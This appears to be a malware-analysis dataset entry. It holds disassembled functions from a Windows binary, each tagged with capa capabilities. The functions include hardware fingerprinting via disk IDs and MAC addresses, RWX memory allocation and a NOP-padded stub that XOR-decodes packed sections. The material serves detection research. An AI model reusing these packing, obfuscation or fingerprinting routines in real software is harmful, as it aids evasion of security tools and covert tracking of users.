joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42bdf0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push ebp
push esi
push edi
mov edi, eax
mov eax, dword [edi + 0x10]
mov esi, dword [edi]
mov dword [esp + 0x1c], ecx
xor ecx, ecx
push ecx
push ecx
mov dword [esp + 0x20], eax
mov eax, dword [edi + 8]
push ecx
push eax
push esi
call ebx
test eax, eax
jne 0x42be38
push 0x474f2c
mov eax, 0x474f2c
call fcn.0042f500
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [esp + 0x14]
push edx
push 8
lea eax, [esp + 0x24]
push eax
push esi
call ebp
test eax, eax
je 0x42be1c
cmp dword [esp + 0x10], 8
jne 0x42be9d
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x14]
mov eax, edi
call fcn.0042cc50
add esp, 4
test eax, eax
je 0x42beaf
mov edi, dword [edi + 4]
xor eax, eax
push eax
push eax
push eax
push edi
push esi
call ebx
test eax, eax
je 0x42be1c
push 0
lea edx, [esp + 0x14]
push edx
push 4
lea eax, [esp + 0x20]
push eax
push esi
call ebp
test eax, eax
je 0x42be1c
cmp dword [esp + 0x10], 4
je 0x42beb9
push 0x474f2c
mov eax, 1
call fcn.0042f7b0
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10
ret

Function at 0x42c570
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov esi, eax
mov eax, dword [esi]
mov edi, dword [esi + 0x18]
lea ecx, [esp + 0x10]
push ecx
xor ebp, ebp
push eax
xor ebx, ebx
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x42c5b6
push 0x474f2c
mov eax, 0x474f2c
call fcn.0042f500
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov ebx, dword [esp + 0x10]
mov ecx, dword [esi + 0xb4]
xor edx, edx
sub ebx, edi
mov edi, dword [esp + 0x14]
sbb edi, edx
sub ebx, 0x298
sbb edi, ebp
xor eax, eax
cmp edi, eax
jl 0x42c648
jg 0x42c5de
cmp ebx, ecx
jb 0x42c648
mov ebp, dword [esi]
push 0
push 0
push edi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x42c60d
push 0x474f2c
mov eax, 0x474f2c
call fcn.0042f500
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov ecx, dword [esp + 0x1c]
mov esi, 0x298
mov edx, ebp
call fcn.0042a8d0
test eax, eax
je 0x42c603
mov eax, dword [esp + 0x20]
test eax, eax
je 0x42c62e
mov dword [eax], ebx
mov dword [eax + 4], edi
mov eax, dword [esp + 0x24]
test eax, eax
je 0x42c655
mov ecx, 1
mov word [eax], cx
mov eax, ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov eax, dword [esp + 0x24]
cmp eax, ebp
je 0x42c655
xor edx, edx
mov word [eax], dx
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 8
ret
Function at 0x42d0f0
Capabilities:
Get storage device properties

Disassembly:
sub esp, 0x1c
mov eax, dword [0x483260]
xor eax, esp
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x20]
push ebp
xor ebp, ebp
mov dword [esp + 0xc], eax
mov dword [esp + 4], ebp
mov dword [esp + 8], ebp
cmp eax, ebp
je 0x42d230
cmp dword [esp + 0x28], ebp
je 0x42d230
push ebx
push 0x2800
call fcn.0043e86c
mov ebx, eax
add esp, 4
cmp ebx, ebp
jne 0x42d153
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop ebx
or eax, 0xffffffff
pop ebp
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.0043b2b9
add esp, 0x1c
ret
push esi
push edi
xor edi, edi
jmp 0x42d160
push edi
push str..PhysicalDrive_d
mov ecx, 0x2800
call fcn.0042a5b0
add esp, 8
push ebp
push 0x80
push 3
push ebp
push 3
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x42d206
xor eax, eax
push 0x2800
push ebp
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
push ebx
mov dword [esp + 0x30], eax
mov dword [esp + 0x28], ebp
mov dword [esp + 0x2c], ebp
call fcn.0043e330
add esp, 0xc
push ebp
lea eax, [esp + 0x18]
push eax
push 0x2800
push ebx
push 0xc
lea ecx, [esp + 0x30]
push ecx
push 0x2d1400
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x42d1f9
mov eax, dword [ebx + 0x18]
cmp eax, ebp
jbe 0x42d1f9
mov edx, dword [esp + 0x18]
add eax, ebx
push eax
mov eax, dword [esp + 0x38]
push edx
push str.DISKID:
call fcn.0042ce80
add esp, 0xc
mov dword [esp + 0x10], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x10], ebp
jne 0x42d210
inc edi
cmp edi, 0x10
jl 0x42d160
push ebx
call fcn.0043e715
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebx
pop ebp
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.0043b2b9
add esp, 0x1c
ret
mov ecx, dword [esp + 0x1c]
pop ebp
xor ecx, esp
or eax, 0xffffffff
call fcn.0043b2b9
add esp, 0x1c
ret
Function at 0x42d2e0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
xor esi, esi
push edi
xor edi, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x24], esi
cmp dword [esp + 0x30], esi
je 0x42d31a
cmp dword [esp + 0x34], esi
je 0x42d31a
push 0x200
call fcn.0043e86c
mov ebx, eax
add esp, 4
cmp ebx, esi
jne 0x42d325
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
lea eax, [esp + 0x14]
push eax
push 0x20119
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionNetworkCards
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x42d484
mov edx, dword [esp + 0x14]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x20]
push ecx
push ebx
push esi
push edx
mov dword [esp + 0x30], 0x100
call ebp
test eax, eax
jne 0x42d41a
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x42d37d
mov eax, reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [esp + 0x1c]
push ecx
push 0x20119
push 0
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x42d3f3
lea edx, [esp + 0x34]
push edx
mov edx, dword [esp + 0x20]
lea eax, [ebx + 4]
push eax
lea ecx, [esp + 0x28]
push ecx
push 0
push str.ServiceName
push edx
mov dword [esp + 0x38], 1
mov dword [esp + 0x28], 0x200
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x42d3e8
mov eax, ebx
mov dword [ebx], 0x5c2e5c5c
call fcn.0042d250
cmp edx, edi
jb 0x42d3e8
ja 0x42d3e2
cmp eax, dword [esp + 0x24]
jbe 0x42d3e8
mov dword [esp + 0x24], eax
mov edi, edx
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x14]
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push ecx
push ebx
inc esi
push esi
push edx
mov dword [esp + 0x30], 0x100
call ebp
test eax, eax
je 0x42d370
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
ja 0x42d430
cmp dword [esp + 0x24], 0
jbe 0x42d484
mov ecx, dword [esp + 0x24]
push edi
push ecx
push str._012I64X
mov ecx, 0x200
call fcn.0042a5b0
add esp, 0xc
test eax, eax
jne 0x42d469
push ebx
mov dword [esp + 0x1c], 0xffffffff
call fcn.0043e715
mov eax, dword [esp + 0x1c]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
push ebx
push edx
push str.MAC:
call fcn.0042ce80
add esp, 0xc
mov dword [esp + 0x18], eax
push ebx
call fcn.0043e715
mov eax, dword [esp + 0x1c]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x431ed0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x469e90
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x483260]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ecx, dword [0x489218]
xor edi, edi
cmp ecx, edi
jne 0x431f1b
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 4]
cmp eax, 0xffffffff
jne 0x431f28
mov dword [ebp - 0x14], edi
jmp 0x431f40
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 0x14], eax
cmp eax, edi
jne 0x431fdd
mov ecx, dword [0x489218]
mov eax, dword [ecx]
cmp eax, edi
je 0x431f07
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x431f07
mov dword [ebp - 4], edi
mov ebx, 0x489218
call fcn.00431ff0
mov esi, eax
mov dword [ebp - 0x14], esi
cmp esi, edi
jne 0x431f7e
mov dword [ebp - 0x18], 1
push 0x47cbe0
lea eax, [ebp - 0x18]
push eax
call fcn.004433dc
mov ecx, esi
mov eax, dword [0x489218]
call fcn.00432280
test eax, eax
jne 0x431fa3
mov dword [ebp - 0x1c], 4
push 0x47cbe0
lea ecx, [ebp - 0x1c]
push ecx
call fcn.004433dc
mov dword [ebp - 4], 0xffffffff
jmp 0x431fc8
mov edx, dword [0x489218]
mov eax, dword [edx]
test eax, eax
je 0x431fdb
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x431ff0
Capabilities:
Print debug messages

Disassembly:
sub esp, 8
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 0x5b0]
add eax, 8
mov dword [eax + 0x5b0], ecx
cmp ecx, eax
jne 0x43201d
xor ecx, ecx
jmp 0x432029
mov edx, dword [ecx + 0x5a8]
mov dword [eax + 0x5b0], edx
push esi
mov esi, ecx
test ecx, ecx
je 0x4320dd
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenThread]
mov eax, dword [esi]
cmp dword [esp + 0x10], eax
jne 0x432050
mov dword [esp + 0xc], esi
jmp 0x4320b0
push eax
push 1
push 0x40
call edi
test eax, eax
jne 0x4320a9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x43209c
mov eax, dword [esi + 0x5ac]
mov ecx, dword [esi + 0x5a8]
mov dword [eax + 0x5a8], ecx
mov edx, dword [esi + 0x5a8]
mov eax, dword [esi + 0x5ac]
mov dword [edx + 0x5ac], eax
call ebp
test eax, eax
je 0x4320b0
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4320b0
push 0x479540
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x4320b0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx]
mov esi, dword [eax + 0x5b8]
add eax, 8
cmp esi, eax
je 0x4320d3
mov ecx, dword [esi + 0x5a8]
mov dword [eax + 0x5b0], ecx
test esi, esi
jne 0x432042
mov eax, dword [esp + 0xc]
pop edi
pop ebp
test eax, eax
jne 0x4320f1
mov ecx, dword [ebx]
add ecx, 8
call fcn.00432380
test eax, eax
je 0x4320f1
mov edx, dword [esp + 8]
mov dword [eax], edx
pop esi
add esp, 8
ret
Function at 0x432100
Capabilities:
Allocate thread local storage

Disassembly:
push 0xffffffffffffffff
push 0x46a17b
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x483260]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov edi, dword [esp + 0x1c]
lea esi, [edi + 8]
push 0x5a0
lea eax, [esi + 8]
push 0
mov dword [edi], 0
mov dword [edi + 4], 0xffffffff
push eax
mov dword [esi], 0
call fcn.0043e330
add esp, 0xc
mov dword [esi + 0x5ac], esi
mov dword [esi + 0x5a8], esi
mov dword [esi + 0x5b0], esi
mov dword [esp + 0x14], 0
mov dword [edi + 0x5bc], 0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [edi + 4], eax
cmp eax, 0xffffffff
jne 0x432198
push 0x47cbe0
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x28], 2
call fcn.004433dc
mov ecx, dword [esp + 0x20]
mov dword [edi], ecx
mov dword [esp + 0x14], 0xffffffff
mov eax, edi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret 8
Function at 0x433240
Capabilities:
Hash data using sha1

Disassembly:
sub esp, 0x80
mov eax, dword [0x483260]
xor eax, esp
mov dword [esp + 0x7c], eax
push ebx
push ebp
push esi
push edi
mov esi, edx
mov edi, ecx
call fcn.004344c0
xor eax, eax
xor ebx, ebx
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x94]
push edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], 0x67452301
mov dword [esp + 0x20], 0xefcdab89
mov dword [esp + 0x24], 0x98badcfe
mov dword [esp + 0x28], 0x10325476
mov dword [esp + 0x2c], 0xc3d2e1f0
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x78], ebx
call fcn.00435780
add esp, 4
lea eax, [esp + 0x18]
lea ecx, [esp + 0x78]
call fcn.00435870
mov dword [esp + 0x10], ebx
jmp 0x4332e0
movzx ebx, byte [esp + ebx + 0x78]
mov eax, ebx
shr eax, 4
movzx ecx, word [eax*2 + str.0123456789abcdef]
mov eax, dword [esi]
mov ebp, dword [eax - 0xc]
mov edx, 1
sub edx, dword [eax - 4]
mov eax, dword [eax - 8]
lea edi, [ebp + 1]
sub eax, edi
or edx, eax
mov dword [esp + 0x14], ecx
jge 0x433318
mov ecx, edi
mov eax, esi
call fcn.00435020
mov ecx, dword [esi]
mov dx, word [esp + 0x14]
mov word [ecx + ebp*2], dx
test edi, edi
jl 0x4333b1
mov eax, dword [esi]
cmp edi, dword [eax - 8]
jg 0x4333b1
mov dword [eax - 0xc], edi
mov eax, dword [esi]
xor ecx, ecx
mov word [eax + edi*2], cx
mov eax, dword [esi]
and ebx, 0xf
movzx ebp, word [ebx*2 + str.0123456789abcdef]
mov ebx, dword [eax - 0xc]
mov edx, 1
sub edx, dword [eax - 4]
mov eax, dword [eax - 8]
lea edi, [ebx + 1]
sub eax, edi
or edx, eax
jge 0x43336a
mov ecx, edi
mov eax, esi
call fcn.00435020
mov ecx, dword [esi]
mov word [ecx + ebx*2], bp
test edi, edi
jl 0x4333b1
mov eax, dword [esi]
cmp edi, dword [eax - 8]
jg 0x4333b1
mov ebx, dword [esp + 0x10]
mov dword [eax - 0xc], edi
mov edx, dword [esi]
inc ebx
xor eax, eax
mov word [edx + edi*2], ax
mov dword [esp + 0x10], ebx
cmp ebx, 0x14
jb 0x4332e0
mov ecx, dword [esp + 0x8c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043b2b9
add esp, 0x80
ret
push 0x80070057
call fcn.00403221
int3
Function at 0x433740
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x46a148
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov eax, dword [0x483260]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov esi, ecx
xor ebx, ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
lea eax, [esp + 0x14]
push eax
push 0x202
push ebx
push str.SOFTWARE360SafeLiveup
mov dword [esp + 0x38], ebx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x28], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x43384c
mov eax, dword [esi]
mov edi, dword [esp + 0x14]
cmp dword [eax - 0xc], ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], 0x200
je 0x4337fe
mov ecx, dword [esp + 0x30]
mov ecx, dword [ecx]
test ecx, ecx
jne 0x4337d5
push 0x80004005
call fcn.00403221
push ecx
push eax
call fcn.0043f899
add esp, 8
test eax, eax
je 0x4337fe
mov esi, dword [esi]
test esi, esi
je 0x4337fe
push esi
call ebp
lea edx, [eax + eax + 2]
push edx
push esi
push 1
push 0
push str.m2_old
push edi
call ebx
mov eax, dword [esp + 0x30]
mov esi, dword [eax]
test esi, esi
jne 0x43380d
lea eax, [esi + 0xd]
jmp 0x433822
push esi
call ebp
lea ecx, [eax + eax + 2]
push ecx
push esi
push 1
push 0
push 0x479c24
push edi
call ebx
xor edx, edx
test eax, eax
sete dl
mov esi, edx
test edi, edi
je 0x433836
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
xor eax, eax
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x4355b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov eax, dword [edi]
lea ecx, [esp]
push ecx
mov ecx, dword [esp + 0xc]
push esi
add eax, eax
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x18]
push 0
mov dword [edi], 0
mov edx, dword [ecx]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x43561e
mov eax, dword [esp + 0xc]
cmp eax, 1
je 0x4355ef
cmp eax, 2
jne 0x43560a
mov eax, dword [esp]
test esi, esi
je 0x435618
test eax, eax
je 0x435613
test al, 1
jne 0x43560a
mov ecx, eax
shr ecx, 1
cmp word [esi + ecx*2 - 2], 0
je 0x435618
mov eax, 0xd
pop ecx
ret 8
xor edx, edx
mov word [esi], dx
shr eax, 1
mov dword [edi], eax
xor eax, eax
pop ecx
ret 8
Function at 0x437130
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x454
mov eax, dword [0x483260]
xor eax, esp
mov dword [esp + 0x44c], eax
mov eax, dword [esp + 0x458]
push ebx
push ebp
push esi
xor ebp, ebp
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x468]
push edi
mov dword [eax], ebp
mov dword [esp + 0x30], ecx
mov dword [ecx], ebp
lea ecx, [esp + 0x28]
push ecx
push 8
push ebp
push str.SYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002BE10318
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x40], eax
mov dword [esp + 0x3c], ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebp
jne 0x437198
mov edi, dword [esp + 0x28]
xor eax, eax
mov dword [esp + 0x38], edi
mov dword [esp + 0x24], eax
jmp 0x4371a4
xor eax, eax
jmp 0x4372c6
mov edi, dword [esp + 0x38]
lea edx, [esp + 0x40]
push edx
push ebp
push ebp
push ebp
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x264]
push edx
push eax
mov esi, 0x104
push edi
mov dword [esp + 0x34], esi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x4372b2
lea eax, [esp + 0x20]
push eax
push 1
push ebp
lea ecx, [esp + 0x25c]
push ecx
push edi
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x34], ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [esp + 0x1c], ebp
cmp eax, ebp
jne 0x437245
mov ebx, dword [esp + 0x20]
push str.NetCfgInstanceId
lea edx, [esp + 0x1c]
mov dword [esp + 0x18], esi
push edx
lea edi, [esp + 0x1c]
lea esi, [esp + 0x50]
mov dword [esp + 0x20], ebx
call fcn.004355b0
test eax, eax
jne 0x437232
mov eax, dword [esp + 0x34]
push eax
mov ecx, esi
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x43725b
cmp ebx, ebp
je 0x437241
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0x100
mov dword [esp + 0x24], eax
jl 0x4371a0
jmp 0x4372b2
push str.BusType
lea edx, [esp + 0x1c]
push edx
lea edi, [esp + 0x1c]
lea esi, [esp + 0x50]
mov dword [esp + 0x1c], 0x104
call fcn.004355b0
test eax, eax
jne 0x4372a7
mov eax, esi
push eax
call fcn.0043f1ea
add esp, 4
cmp eax, 5
jne 0x4372a7
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
mov dword [ecx], 1
push edx
mov ecx, ebx
call fcn.00437000
add esp, 4
cmp ebx, ebp
je 0x4372b2
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x38]
cmp eax, ebp
je 0x4372c1
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [esp + 0x45c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043b2b9
add esp, 0x454
ret
Function at 0x43ad90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x485fc0], 0
push esi
jne 0x43acfe
call fcn.0043ac12
test eax, eax
je 0x43ad41
mov eax, dword [0x485fc0]
cmp eax, 1
jne 0x43ad1f
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x43ad41
pop esi
ret
push eax
call dword [0x485fc8]
test eax, eax
jne 0x43ad89
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x43ad45
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x485fc0]
call dword [0x485fc8]
mov edi, eax
test edi, edi
je 0x43ad6a
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x43ad86
mov edi, esi
add esi, 0xff0
push edi
push dword [0x485fc0]
call dword [0x485fc4]
add edi, 0x10
cmp edi, esi
jb 0x43ad72
mov eax, edi
pop edi
pop esi
ret
jmp 0x43aceb

Function at 0x43b2b9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x483260]
jne 0x43b2c3
repz ret
jmp fcn.00443cf7

Function at 0x456651
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00444f44
and dword [ebp - 4], 0
cmp dword [0x486b84], 0
mov ebx, eax
jne 0x456702
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4567b3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4567b3
push eax
call fcn.00444ed2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x486b84], eax
call esi
push eax
call fcn.00444ed2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x486b88], eax
call esi
push eax
call fcn.00444ed2
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x486b8c], eax
call esi
push eax
call fcn.00444ed2
pop ecx
mov dword [0x486b94], eax
test eax, eax
je 0x456702
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00444ed2
pop ecx
mov dword [0x486b90], eax
mov eax, dword [0x486b90]
cmp eax, ebx
je 0x45675a
cmp dword [0x486b94], ebx
je 0x45675a
push eax
call fcn.00444f4d
push dword [0x486b94]
mov esi, eax
call fcn.00444f4d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x45675a
test edi, edi
je 0x45675a
call esi
test eax, eax
je 0x456751
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x456751
test byte [ebp - 0xc], 1
jne 0x45675a
or dword [ebp + 0x10], 0x200000
jmp 0x456793
mov eax, dword [0x486b88]
cmp eax, ebx
je 0x456793
push eax
call fcn.00444f4d
pop ecx
test eax, eax
je 0x456793
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x456793
mov eax, dword [0x486b8c]
cmp eax, ebx
je 0x456793
push eax
call fcn.00444f4d
pop ecx
test eax, eax
je 0x456793
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x486b84]
call fcn.00444f4d
pop ecx
test eax, eax
je 0x4567b3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4567b5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x2cfb76cf
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0xa81109b
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219